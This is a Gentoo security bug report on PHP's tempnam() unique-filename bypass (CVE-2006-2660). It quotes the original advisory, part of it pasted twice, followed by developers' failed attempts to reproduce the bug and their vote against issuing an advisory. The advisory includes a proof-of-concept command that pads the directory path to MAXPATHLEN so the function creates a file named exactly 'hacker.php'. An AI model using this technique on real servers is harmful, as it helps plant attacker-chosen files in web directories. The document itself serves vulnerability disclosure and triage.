Bug 136566 - dev-lang/php <= 5.1.4 tempnam() Bypass unique file name (CVE-2006-2660)
|
Bug#:
136566
|
Product: Gentoo Security
|
Version: unspecified
|
Platform: All
|
|
OS/Version: Linux
|
Status: RESOLVED
|
Severity: normal
|
Priority: P2
|
|
Resolution: FIXED
|
Assigned To: security@gentoo.org
|
Reported By: stepp@atistar.net
|
|
Component: Vulnerabilities
|
|
|
URL:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2660
|
|
Summary: dev-lang/php <= 5.1.4 tempnam() Bypass unique file name (CVE-2006-2660)
|
|
Keywords:
|
|
Status Whiteboard: B4 [noglsa] jaervosz
|
|
Opened: 2006-06-12 11:41 0000
|
The CVE is under review, but it appears to be legitimate.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[tempnam() Bypass unique file name PHP 5.1.4]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 22.5.2006
- -Public: 11.6.2006
from SECURITYREASON.COM
CVE-2006-2660
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from
C, Java and Perl with a couple of unique PHP-specific features thrown in. The
goal of the language is to allow web developers to write dynamically generated
pages quickly.
A nice introduction to PHP by Stig S
The CVE is under review, but it appears to be legitimate.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[tempnam() Bypass unique file name PHP 5.1.4]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 22.5.2006
- -Public: 11.6.2006
from SECURITYREASON.COM
CVE-2006-2660
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from
C, Java and Perl with a couple of unique PHP-specific features thrown in. The
goal of the language is to allow web developers to write dynamically generated
pages quickly.
A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the
PHP Conference Material is freely available.
tempnam -- Create file with unique file name.
- --- 1. tempnam() Bypass unique file name ---
In lastes adv i have public an issue "Open Basedir Bypass". In function
tempname() are required 2 arg`s.
http://pl.php.net/manual/en/function.tempnam.php
string tempnam ( string dir, string prefix )
In PHP 5.1.4 exists bug that allows you to create file with any name.
- ---
cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";'
/www/temp/hacker.phpGQMqSE
- ---
You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically
added to filename.
Problem exists, because path couldn't be longer than MAXPATHLEN. In standard
MAXPATHLEN is 1024B.
- -771-805---
PHP_FUNCTION(tempnam)
{
zval **arg1, **arg2;
char *d;
char *opened_path;
char *p;
int fd;
size_t p_len;
if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) ==
FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(arg1);
convert_to_string_ex(arg2);
if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
RETURN_FALSE;
}
d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));
php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len
TSRMLS_CC);
if (p_len > 64) {
p[63] = '\0';
}
if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) {
close(fd);
RETVAL_STRING(opened_path, 0);
} else {
RETVAL_FALSE;
}
efree(p);
efree(d);
}
- -771-805---
So if you create path like /www/../www/.. etc.
arg1+arg2=1023
uniqueid is not given to path.
Example:
- ---
cxib# php -r 'echo
tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";'
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../
www/../www/../www/temp/hacker.php
- ---
= /www/temp/hacker.php
- ---
cxib# ls -la /www/temp/hacker*
- -rw------- 1 cxib cxib 0 May 22 23:33 /www/temp/hacker.php
- -rw------- 1 cxib cxib 0 May 22 23:26 /www/temp/hacker.phpGQMqSE
- ---
- --- 2. How to fix ---
CVS
http://cvs.php.net/viewcvs.cgi/php-src/NEWS
- --- 3. Greets ---
For: sp3x
and
p_e_a, l3x, pi3, eax, Infospec ;]
- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (FreeBSD)
iD8DBQFEjGMW3Ke13X/fTO4RAl50AKCH7H7pDtfjTLcZ02+izd3P25fkvACfS7tK
tTnC41pJ3aQEAEvt580AqI0=
=ZfrH
-----END PGP SIGNATURE-----
Tried the PoC on php-4.4.2-pl2, and it does not appear to work there, at least.
I do not have access to 5.1.4 at the moment.
Tried the PoC on a freshly installed 5.1.4. The cut-off point appears to be
4096, not 1024 (for me anyway).
As soon as the path goes over 4095 bytes, the temp file gets changed to
'/tmp/<filename><random>'.
So, I'm not sure under what conditions this is supposed to work.
I'll let someone else with more authority switch to INVALID, if that is the
case, however.
stepp: Isnt' that the point? Bloat the filename and get a file handle you can
control?
No, perhaps I was unclear. The filename is still not controllable.
For example:
tempnam("/www/..< pad to 4095 total >/www/temp/","hacker123.php");
results in /www/temp/hacker123.php3I2fgH or something similar
tempnam("/www/..< pad to 4096 total >/www/temp/","hacker1234.php");
results in /tmp/hacker1234.php3I2fgH or something similar.
The random string at the end is still there.
Add PHP Team to CC.
Best regards, CHTEKK.
stepp: I must be stupid here, but that's how tempnam() is supposed to work.
Isn't the whole idea of the exploit to pad the directory with bloat until you
reach MAXPATHLEN-strlen(wantedfile), which would give you a controllable file
handle? At least that's what I see the exploit claims to do.
Ah, I got confused, obviously. So on your system the functions falls back like
in the case when the directory doesn't exist? I'll try to confirm this here.
I just tried with 5.1.4 (x86) from portage and get the same result as Nigel
does (the function falls back to /tmp, and the random tail is still intact), so
I'd count it as INVALID.
i had already checked this issue before, i had chosen to not fill a bug. I
would close it as "invalid" too.
What do we do here? Close or not? I can't reproduce it too here on all my
systems, so closing it invalid seems right.
Best regards, CHTEKK.
I could neither and so I'd also suggest invalidating this one, unless anybody
steps up to say it worked for him/her.
Fixed in dev-lang/php-4.4.2-r6 and dev-lang/php-5.1.4-r4. Upstream provided an
explicit patch for this (so they were able to reproduce it somehow), and it was
added to those releases.
Stabling of those two PHP versions can be handled in bug 133524.
Best regards, CHTEKK.
Seems like it is time for GLSA decision on this one as well.
invalid, IMHO, not reproducable on x86 at least. Other arches? Else I vote
"no".
Voting no, this bug is stupid. You don't give control to the untrusted party to
the path in tempnam, doesn't work, and impact is lame.
yet another "no" and closing...